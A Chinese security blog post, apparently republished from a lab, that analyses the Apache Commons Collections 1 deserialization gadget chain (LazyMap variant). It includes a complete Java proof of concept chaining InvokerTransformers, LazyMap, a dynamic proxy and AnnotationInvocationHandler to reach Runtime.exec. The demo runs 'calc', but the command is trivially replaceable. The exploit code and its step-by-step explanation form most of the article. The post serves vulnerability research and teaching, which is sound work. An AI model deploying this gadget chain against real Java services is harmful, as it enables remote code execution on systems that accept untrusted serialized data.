文章总结: 本文详细解析了ApacheCommonsCollections1(CC1)反序列化漏洞的LazyMap利用链,与TransformedMap版不同,该链通过LazyMap.get()触发ChainedTransformer.transform()实现RCE。核心利用路径为:构造包含恶意InvokerTransformer链的ChainedTransformer,通过LazyMap.decorate绑定到空HashMap,利用AnnotationInvocationHandler配合JDK动态代理封装,最终通过反序列化触发Runtime.exec执行系统命令。文章提供了完整的JavaPOC代码,展示了从构造Transformer数组、动态代理封装到双层AnnotationInvocationHandler调用的完整攻击流程,适用于Java反序列化漏洞研究与防御参考。 综合评分: 78 文章分类: 漏洞分析,代码审计,安全开发,渗透测试,Java安全
CC1链(LazyMap版)
原创
Pai Pai
湘岚实验室
2026年2月7日 13:16 江苏
CC1链(LazyMap版)
白日梦组长视频:
https://www.bilibili.com/video/BV1yP4y1p7N7?spm_id_from=333.788.videopod.sections&vd_source=525a280615063349bad5e187f6bfeec3
分析链子
CC1 链除了TransformedMap的链子,还有个正版 CC1 链的LazyMap链子
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
image-20251210192507739
后面的部分和TransformedMap版的一样,然后就是要去往上一点点找链子了
在之前找ChainedTransformer里的transform方法可以被谁调用的时候,找的是TransformedMap里的checkSetValue()方法,除了这个之外还可以用LazyMap里的get()方法,也是可以调用的
image-20260204161638886
进去看看,可以看到是调用了factory的transform方法,去看看factory是什么
image-20260204163147968
发现factory是Transformer的,而且看样子可以更改,我们把factory改为ChainedTransformer就能走我们之前写的递归,然后走进if里面就调用了get,从而实现危险函数
image-20260204163317424
我们走进if就要确保没有key,即指定的key在map中不存在,这里的key就是要传入get()方法的参数
在往上就直接根据正版 CC1 链的链子看了,可以看到是用两次AnnotationInvocationHandler和一次动态代理来实现的
img
我们根据这个链子找,发现在invoke方法中的get是可控的
image-20260204164926231
这里可以用动态代理调用方法,当通过代理对象调用接口的任何方法的时候,这里的invoke方法就会自动调用,这里就需要找一个接口
大概链子就长这样
image-20251210201804200
回到函数
image-20260204170122523
这里有两个if条件,第一个是判断我们是不是equals方法,是就返回xxx,很明显我们不能这样,因为我们需要走进外面的Object result = memberValues.get(member);,第二个就是判断我们的方法是不是有参的,有参就报错,那我们就得找个无参方法
然后去看下面正好是调用了无参方法entrySet(),所以这就是动态代理要调用的方法
image-20260204170434989
memberValues.entrySet()这就是个无参方法
//动态代理
InvocationHandler h = (InvocationHandler) annotation.newInstance(Target.class,transformedMap);
Map mapProxy =(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
image-20260204171724269
他这里接收map我们就代理map
完整代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
publicclass test2 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotation = c.getDeclaredConstructor(Class.class, Map.class);
annotation.setAccessible(true);
//动态代理
InvocationHandler h = (InvocationHandler) annotation.newInstance(Target.class,lazyMap);
Map mapProxy =(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotation.newInstance(Target.class,mapProxy);
// serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
代码整体分为 「构造恶意链式转换器」→「构造 LazyMap 恶意容器」→「动态代理封装」→「双层 AnnotationInvocationHandler 封装」→「反序列化触发」 5 个阶段
整个流程//解析代码
我们先创建transformers转换器数组并构造出能通过反射执行系统命令calc的恶意chainedTransformer链式转换器,
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
再通过LazyMap.decorate方法将这个恶意转换器绑定到空的HashMap对象map上生成lazyMap,利用lazyMap调用get方法获取不存在的 Key 时会触发绑定转换器的特性埋好恶意逻辑;
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
接着通过Class.forName反射获取 JDK 隐藏的AnnotationInvocationHandler类对象c,再通过getDeclaredConstructor拿到该类的构造器annotation并调用setAccessible(true)解锁私有构造器的使用权限,
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotation = c.getDeclaredConstructor(Class.class, Map.class);
annotation.setAccessible(true);
先调用annotation.newInstance传入Target.class和恶意lazyMap创建该类实例并强转为InvocationHandler对象h,作为动态代理的调用处理器;然后通过Proxy.newProxyInstance方法,传入LazyMap的类加载器、Map接口类数组和处理器h,创建出无实际 Map 逻辑、所有操作都会转发给h的 Map 动态代理对象mapProxy;再调用annotation.newInstance传入Target.class和代理对象mapProxy,创建出最终的AnnotationInvocationHandler实例o,这个o是可序列化的恶意对象;
InvocationHandler h = (InvocationHandler) annotation.newInstance(Target.class,lazyMap);
Map mapProxy =(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotation.newInstance(Target.class,mapProxy);
最后调用unserialize方法反序列化ser.bin文件时,会自动执行o的readObject方法,该方法会遍历并操作内部的mapProxy,mapProxy会将所有操作转发给处理器h的invoke方法,h的invoke方法会直接操作其持有的lazyMap并调用get方法,因lazyMap基于空HashMap无任何可用 Key,会触发绑定的chainedTransformer链式转换器,其内部的ConstantTransformer和三次InvokerTransformer会按顺序执行transform方法,通过反射依次调用Runtime.class的getMethod、invoke、exec方法,最终执行calc命令弹出计算器。
-END-
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:湘岚实验室 Pai Pai《CC1链(LazyMap版)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论